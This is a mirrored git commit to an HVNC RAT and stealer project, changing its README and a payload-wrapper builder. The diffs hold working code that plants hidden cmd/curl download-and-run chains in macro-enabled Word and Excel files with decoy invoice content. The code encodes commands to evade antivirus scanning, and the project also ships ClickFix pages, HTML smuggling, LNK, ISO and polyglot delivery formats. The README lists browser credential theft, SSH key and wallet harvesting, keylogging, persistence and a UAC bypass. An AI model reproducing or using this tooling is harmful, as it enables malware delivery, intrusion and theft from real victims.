mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
wrappers: docm/xlsm macros from office-authored compiled bases (pyopenvba rebuilds write source-only streams whose auto-events never hook - root-caused and verified live), inject runtime url+filename into word docvars / excel cfg-sheet cells instead of rewriting vba; drop pptm (auto_open never fires, thispresentation unauthorable via automation); bases ship in wrappers_bases/; readme updated
This commit is contained in:
@@ -16,7 +16,7 @@ HVNC RAT and stealer research project, derived from Misery. For local testing an
|
||||
- **Credential harvesting**: Chrome, Edge, Brave, Opera, Opera GX, Firefox
|
||||
- **App-session harvesting**: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extension paths, Signal session listing
|
||||
- **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
|
||||
- **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `pptm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html`
|
||||
- **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html`
|
||||
- **Keylogger and clipboard monitoring**
|
||||
- **Persistence**: HKCU Run key and WMI event subscriptions
|
||||
- **Elevation** (`elevate`): silent UAC bypass to High via PEB masquerade and CMSTPLUA/ICMLuaUtil, then SYSTEM through SeDebug token theft from a non-PPL system process. Verified on Windows 11 25H2 (build 26200)
|
||||
@@ -57,9 +57,8 @@ filetypes in `dist/` and records each one in `<out>.manifest.json` with its
|
||||
sha256 and size. `python setup.py --list-formats` prints the current list with
|
||||
dependencies.
|
||||
|
||||
- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run
|
||||
- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run
|
||||
- `pptm` - PowerPoint macro deck; `Auto_Open` shells a hidden cmd/curl download-and-run
|
||||
- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run. The macro comes from a Word-authored compiled base (`wrappers_bases/docm_base.docm`); only the stage URL and agent filename are injected as document variables and read at open time, because rebuild-generated macro streams open without auto-event hooks (verified live 2026-08)
|
||||
- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run. Same design: an Excel-authored compiled base (`wrappers_bases/xlsm_base.xlsm`) with the runtime values in a hidden `cfg` sheet
|
||||
- `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
|
||||
- `pdf` - agent embedded as a PDF attachment, launched on open
|
||||
- `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
|
||||
@@ -78,6 +77,16 @@ iso, and polyglot_html carry the agent themselves. The macro files ship with
|
||||
decoy content, and the lnk/pdf formats show a decoy document, so they read as
|
||||
normal business documents instead of empty templates.
|
||||
|
||||
The docm and xlsm bases are compiled by Word/Excel themselves so the
|
||||
`Document_Open` / `Workbook_Open` hooks actually fire: pyopenvba-style
|
||||
rebuilds write source-only module streams that Office opens in a degraded
|
||||
state where the auto-events never run (reproduced and root-caused live
|
||||
2026-08). The wrapper copies the base, fills decoy content, and injects the
|
||||
per-build values (Word docvars in `word/settings.xml`, Excel cfg-sheet cells
|
||||
in `xl/sharedStrings.xml`); the pre-compiled VBA builds the download chain
|
||||
from Chr()-encoded parts plus those values at open time, so no macro stream
|
||||
is ever rewritten.
|
||||
|
||||
The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as
|
||||
`STAGE_URL`, so host the generated `<out>.cmd` and `<out>.decoy.pdf` next to
|
||||
the agent.
|
||||
@@ -93,9 +102,13 @@ The wrappers use these optional libs; a missing lib just skips the formats
|
||||
that need it:
|
||||
|
||||
```powershell
|
||||
pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
|
||||
pip install pylnk3 pycdlib pikepdf python-docx openpyxl
|
||||
```
|
||||
|
||||
The docm/xlsm bases live in `wrappers_bases/` and ship with the repo; rebuild
|
||||
them in Office if you ever change the macro logic (see the wrapper docstring
|
||||
notes), then commit the new base.
|
||||
|
||||
## Commands
|
||||
|
||||
| Command | What it does |
|
||||
@@ -148,6 +161,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser
|
||||
- `src/rat`: keylogger + clipboard
|
||||
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
|
||||
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
|
||||
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
|
||||
- `build/`: out-of-source build dir
|
||||
|
||||
## Licence
|
||||
|
||||
+86
-88
@@ -21,18 +21,25 @@ Commando.A!ml, all reproduced locally):
|
||||
(LNK-launched cmdlines that download are flagged by
|
||||
Defender's FastPath ML, so the chain lives in the .cmd)
|
||||
pdf PDF with the agent embedded as an attachment (OpenAction launch)
|
||||
pptm PowerPoint macro deck: Auto_Open -> hidden cmd/curl
|
||||
iso ISO/IMG container carrying the agent (MOTW bypass)
|
||||
polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive
|
||||
polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser
|
||||
|
||||
Remote-cradle formats need STAGE_URL (where the operator hosts the agent exe);
|
||||
self-contained formats embed the agent directly. The macro files carry decoy
|
||||
content (python-docx / openpyxl / python-pptx when installed) so they look like
|
||||
real documents, and the decoys are worded like M365/OneDrive share messages.
|
||||
Optional third-party libs are used where they exist: pyopenvba (macro files),
|
||||
pylnk3 (shortcuts), pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only
|
||||
the formats that need it.
|
||||
content (python-docx / openpyxl when installed) so they look like real
|
||||
documents, and the decoys are worded like M365/OneDrive share messages.
|
||||
The docm/xlsm macros are never generated: they come from Office-authored
|
||||
compiled bases (wrappers_bases/), which Office loads with working auto-event
|
||||
hooks -- pyopenvba-style rebuilds write source-only module streams that Word
|
||||
and Excel open in a degraded state where Document_Open/Workbook_Open never
|
||||
fire (verified live 2026-08). Only the per-build values (stage URL, agent
|
||||
filename) are injected into the base's data storage (Word docvars in
|
||||
word/settings.xml, Excel cfg-sheet cells in xl/sharedStrings.xml) and read
|
||||
by the pre-compiled VBA at open time.
|
||||
Optional third-party libs are used where they exist: pylnk3 (shortcuts),
|
||||
pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only the formats that
|
||||
need it.
|
||||
|
||||
Run only from an authorized lab.
|
||||
"""
|
||||
@@ -41,31 +48,29 @@ import base64
|
||||
import hashlib
|
||||
import io
|
||||
import os
|
||||
import shutil
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
|
||||
FORMATS = [
|
||||
("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
|
||||
("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
|
||||
("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", [], True),
|
||||
("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", [], True),
|
||||
("html", "HTML smuggling page (agent embedded as zip blob)", [], False),
|
||||
("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True),
|
||||
("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True),
|
||||
("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False),
|
||||
("pptm", "PowerPoint macro deck (Auto_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
|
||||
("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False),
|
||||
("polyglot_exe_zip", "EXE+ZIP polyglot: runs as exe, opens as archive", ["pylnk3", "pikepdf"], True),
|
||||
("polyglot_html", "EXE+HTML polyglot: runs as exe, shows decoy page", [], False),
|
||||
]
|
||||
|
||||
_LIBS = {
|
||||
"pyopenvba": "pyopenvba",
|
||||
"pylnk3": "pylnk3",
|
||||
"pycdlib": "pycdlib",
|
||||
"pikepdf": "pikepdf",
|
||||
"docx": "python-docx",
|
||||
"openpyxl": "openpyxl",
|
||||
"pptx": "python-pptx",
|
||||
}
|
||||
|
||||
STAGE_REQUIRED = [f for f, _, _, needs in FORMATS if needs]
|
||||
@@ -148,20 +153,6 @@ def _xor_hex(data: bytes, key: int) -> str:
|
||||
return bytes(b ^ key for b in data).hex()
|
||||
|
||||
|
||||
def _vba_cradle(p, fname: str) -> str:
|
||||
"""VBA that Shells the cmd/curl chain hidden. No PowerShell: -enc cradles
|
||||
are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml). The whole
|
||||
command is Chr()-encoded so no literal trigger string (cmd, curl, http)
|
||||
survives in the macro for Office AMSI / content-trigger scans."""
|
||||
cmd = download_cradle(p, fname)
|
||||
if not cmd:
|
||||
return None
|
||||
enc = " & ".join("Chr(%d)" % ord(ch) for ch in cmd)
|
||||
return ("Dim c As String\r\n"
|
||||
" c = %s\r\n"
|
||||
" Shell c, vbHide" % enc)
|
||||
|
||||
|
||||
def _zip_of(entries, member=None) -> bytes:
|
||||
"""Zip one or more (name, data) entries. Accepts the old (data, member)
|
||||
call shape for compatibility."""
|
||||
@@ -209,8 +200,6 @@ def _pick_decoy() -> str:
|
||||
_CT = {
|
||||
"docm": (b"application/vnd.ms-word.document.macroEnabled.main+xml",
|
||||
b"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"),
|
||||
"pptm": (b"application/vnd.ms-powerpoint.presentation.macroEnabled.main+xml",
|
||||
b"application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"),
|
||||
}
|
||||
|
||||
|
||||
@@ -263,7 +252,7 @@ def _excel_decoy(path: str) -> None:
|
||||
from openpyxl.styles import Font
|
||||
|
||||
wb = load_workbook(path, keep_vba=True)
|
||||
ws = wb.active
|
||||
ws = next((s for s in wb.worksheets if s.title.lower() != "cfg"), wb.active)
|
||||
ws.title = "Invoice"
|
||||
rows = (("Item", "Description", "Amount"),
|
||||
("INV-2041", "Consulting services", 12490),
|
||||
@@ -283,23 +272,6 @@ def _excel_decoy(path: str) -> None:
|
||||
wb.save(path)
|
||||
|
||||
|
||||
def _powerpoint_decoy(path: str) -> None:
|
||||
from pptx import Presentation
|
||||
tmp = path + ".tmp.pptx"
|
||||
_swap_ct(path, tmp, *_CT["pptm"])
|
||||
prs = Presentation(tmp)
|
||||
decoy = _pick_decoy()
|
||||
title, _, body = decoy.partition(" - ")
|
||||
slide = prs.slides[0]
|
||||
slide.shapes.title.text = title
|
||||
for ph in slide.placeholders:
|
||||
if ph.placeholder_format.idx == 1:
|
||||
ph.text = body
|
||||
prs.save(tmp)
|
||||
_swap_ct(tmp, path, *_CT["pptm"][::-1])
|
||||
Path(tmp).unlink()
|
||||
|
||||
|
||||
def _office_decoy(path: str, kind: str) -> None:
|
||||
"""Fill a macro-enabled file with decoy content. Uses the matching editor
|
||||
lib when installed; docm falls back to the plain body injection."""
|
||||
@@ -310,30 +282,82 @@ def _office_decoy(path: str, kind: str) -> None:
|
||||
_inject_docm_decoy(path)
|
||||
elif kind == "xlsm" and _import("openpyxl") is not None:
|
||||
_excel_decoy(path)
|
||||
elif kind == "pptm" and _import("pptx") is not None:
|
||||
_powerpoint_decoy(path)
|
||||
|
||||
|
||||
def _macro_document(p, module_name, trigger, docm: bool, out_name: str):
|
||||
"""Build a macro-enabled Office file whose code-behind runs the cradle."""
|
||||
from pyopenvba import WordFile, ExcelFile
|
||||
_BASE_DIR = Path(__file__).resolve().parent / "wrappers_bases"
|
||||
_BASE_FILES = {
|
||||
"docm": "docm_base.docm",
|
||||
"xlsm": "xlsm_base.xlsm",
|
||||
}
|
||||
|
||||
src = _vba_cradle(p, out_name + ".exe")
|
||||
if not src:
|
||||
|
||||
def _inject_macro_vars(path: str, kind: str, p, out_name: str) -> bool:
|
||||
"""Patch the per-build runtime values into the base's data storage:
|
||||
Word docvars in word/settings.xml, Excel cfg-sheet cells (inline strings
|
||||
in the sheet XML). The pre-compiled VBA reads them at open time, so
|
||||
the compiled macro never needs rebuilding. Returns False if the base
|
||||
did not contain what the macro expects, so a broken artifact is never
|
||||
shipped."""
|
||||
url = p.get("stage_url")
|
||||
if not url or any(ch in url for ch in '"<>'):
|
||||
return False
|
||||
fn = out_name + ".exe"
|
||||
with zipfile.ZipFile(path, "r") as z:
|
||||
entries = {n: z.read(n) for n in z.namelist()}
|
||||
if kind == "docm":
|
||||
settings = entries.get("word/settings.xml")
|
||||
if settings is None or b"</w:settings>" not in settings:
|
||||
return False
|
||||
docvars = ('<w:docVars><w:docVar w:name="u" w:val="%s"/>'
|
||||
'<w:docVar w:name="fn" w:val="%s"/></w:docVars>'
|
||||
% (url.replace("&", "&"), fn)).encode("utf-8")
|
||||
entries["word/settings.xml"] = settings.replace(
|
||||
b"</w:settings>", docvars + b"</w:settings>", 1)
|
||||
else: # xlsm: cfg-sheet cells are inline strings in the sheet XML (and
|
||||
# sharedStrings if the base editor ever switches) -- patch any part
|
||||
# that still carries the placeholders
|
||||
seen = False
|
||||
for n in list(entries):
|
||||
if b"PLACEHOLDERURL.invalid" not in entries[n]:
|
||||
continue
|
||||
seen = True
|
||||
entries[n] = (entries[n]
|
||||
.replace(b"http://PLACEHOLDERURL.invalid/x",
|
||||
url.encode("utf-8"))
|
||||
.replace(b"placeholder.exe", fn.encode("utf-8")))
|
||||
if not seen or any(b"PLACEHOLDERURL.invalid" in b for b in entries.values()):
|
||||
return False
|
||||
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
|
||||
for n, b in entries.items():
|
||||
z.writestr(n, b)
|
||||
return True
|
||||
|
||||
|
||||
def _macro_document(p, kind: str, out_name: str):
|
||||
"""Copy the Office-authored compiled base into dist, fill it with decoy
|
||||
content, then inject the stage values. The bases carry the trigger
|
||||
compiled by Word/Excel themselves: pyopenvba-style rebuilds write
|
||||
source-only module streams that Office opens without auto-event hooks
|
||||
(verified live 2026-08), so no macro is generated from scratch."""
|
||||
base = _BASE_DIR / _BASE_FILES[kind]
|
||||
if not base.exists():
|
||||
return None
|
||||
path = str(p["dist"] / (out_name + "." + kind))
|
||||
shutil.copyfile(str(base), path)
|
||||
_office_decoy(path, kind)
|
||||
if not _inject_macro_vars(path, kind, p, out_name):
|
||||
return None
|
||||
vba = ("Private Sub %s()\r\n"
|
||||
" %s\r\n"
|
||||
"End Sub\r\n") % (trigger, src)
|
||||
cls = WordFile if docm else ExcelFile
|
||||
target = out_name + (".docm" if docm else ".xlsm")
|
||||
path = str(p["dist"] / target)
|
||||
with cls.create_new(path) as host_file:
|
||||
host_file.set_module(module_name, vba)
|
||||
host_file.save(path)
|
||||
_office_decoy(path, "docm" if docm else "xlsm")
|
||||
return path
|
||||
|
||||
|
||||
def build_docm(p, agent: bytes, out_name: str):
|
||||
return _macro_document(p, "docm", out_name)
|
||||
|
||||
|
||||
def build_xlsm(p, agent: bytes, out_name: str):
|
||||
return _macro_document(p, "xlsm", out_name)
|
||||
|
||||
|
||||
def _inject_docm_decoy(path: str) -> None:
|
||||
"""Append a plausible paragraph to the Word body without touching the
|
||||
macro streams; best-effort, skipped silently if the part is unusual."""
|
||||
@@ -354,14 +378,6 @@ def _inject_docm_decoy(path: str) -> None:
|
||||
pass
|
||||
|
||||
|
||||
def build_docm(p, agent: bytes, out_name: str):
|
||||
return _macro_document(p, "ThisDocument", "Document_Open", True, out_name)
|
||||
|
||||
|
||||
def build_xlsm(p, agent: bytes, out_name: str):
|
||||
return _macro_document(p, "ThisWorkbook", "Workbook_Open", False, out_name)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- html smuggling
|
||||
|
||||
def build_html(p, agent: bytes, out_name: str) -> str:
|
||||
@@ -533,23 +549,6 @@ def build_clickfix_html(p, agent: bytes, out_name: str) -> str:
|
||||
return path
|
||||
|
||||
|
||||
def build_pptm(p, agent: bytes, out_name: str) -> str:
|
||||
from pyopenvba import PowerPointFile
|
||||
|
||||
src = _vba_cradle(p, out_name + ".exe")
|
||||
if not src:
|
||||
return None
|
||||
vba = ("Sub Auto_Open()\r\n"
|
||||
" %s\r\n"
|
||||
"End Sub\r\n") % src
|
||||
path = str(p["dist"] / (out_name + ".pptm"))
|
||||
with PowerPointFile.create_new(path) as host:
|
||||
host.set_module("Module1", vba)
|
||||
host.save(path)
|
||||
_office_decoy(path, "pptm")
|
||||
return path
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- pdf
|
||||
|
||||
def _pdf_decoy(pdf, title: str) -> None:
|
||||
@@ -738,7 +737,6 @@ _BUILDERS = {
|
||||
"clickfix_html": build_clickfix_html,
|
||||
"lnk": build_lnk,
|
||||
"pdf": build_pdf,
|
||||
"pptm": build_pptm,
|
||||
"iso": build_iso,
|
||||
"polyglot_exe_zip": build_polyglot_exe_zip,
|
||||
"polyglot_html": build_polyglot_html,
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user